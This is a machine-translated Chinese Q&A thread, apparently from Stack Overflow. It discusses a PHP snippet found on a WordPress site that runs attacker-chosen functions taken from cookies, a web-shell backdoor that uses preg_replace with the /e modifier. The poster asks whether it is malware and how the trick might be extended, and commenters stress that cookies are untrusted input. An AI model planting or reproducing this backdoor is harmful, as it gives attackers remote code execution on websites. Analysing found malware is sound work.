PHP代碼,我發現了這樣有趣的代碼:執行從餅乾
class PluginJoomla {
public function __construct() {
$jq = @$_COOKIE['ContentJQ3'];
if ($jq) {
$option = $jq(@$_COOKIE['ContentJQ2']);
$au=$jq(@$_COOKIE['ContentJQ1']);
$option("/438/e",$au,438); die();
}
else
phpinfo();die;
}
}
$content = new PluginJoomla;
這是WordPress的網站的一部分,所以忽略類名。 正如你所看到的$ jq變量從一些Cookie文件中獲取它的值。後來,它看起來像一個函數進行處理:
$jq(@$_COOKIE['ContentJQ2']);
正如你可以在這裏看到,這是一個很基本的PHP的東西用變量函數(https://php.net/manual/en/functions.variable-functions.php)。
後來$ JQ變量函數返回$選項變量和字符串AU $變量的函數:
$option = $jq(@$_COOKIE['ContentJQ2']);
$au=$jq(@$_COOKIE['ContentJQ1']);
$option("/438/e",$au,438);
所以,我有一個問題,就是有可能做相同,但與執行來自Cookie文件的PHP代碼(不僅考慮exec()函數,還包括require()或使用ob_start()和ob_get_clean())的文件?
另外你怎麼看代碼本身,它是某種病毒或惡意軟件?
它從來沒有工作。 – 2015-02-11 18:18:01
如果$ _COOKIE ['ContentJQ3']'包含一個PHP函數名稱,它爲什麼不能工作? [demo](http://ideone.com/AuKyTx)當然,如果$ _COOKIE ['ContentJQ3']包含像''file_get_contents'' – 2015-02-11 18:37:27
這樣的東西,無論代碼不使用它,你可以使用它來運行任何php函數併爲其設置變量。記得cookies是瀏覽器端,所以你需要像對待任何其他用戶輸入一樣對待它們。 – David 2015-02-11 19:11:42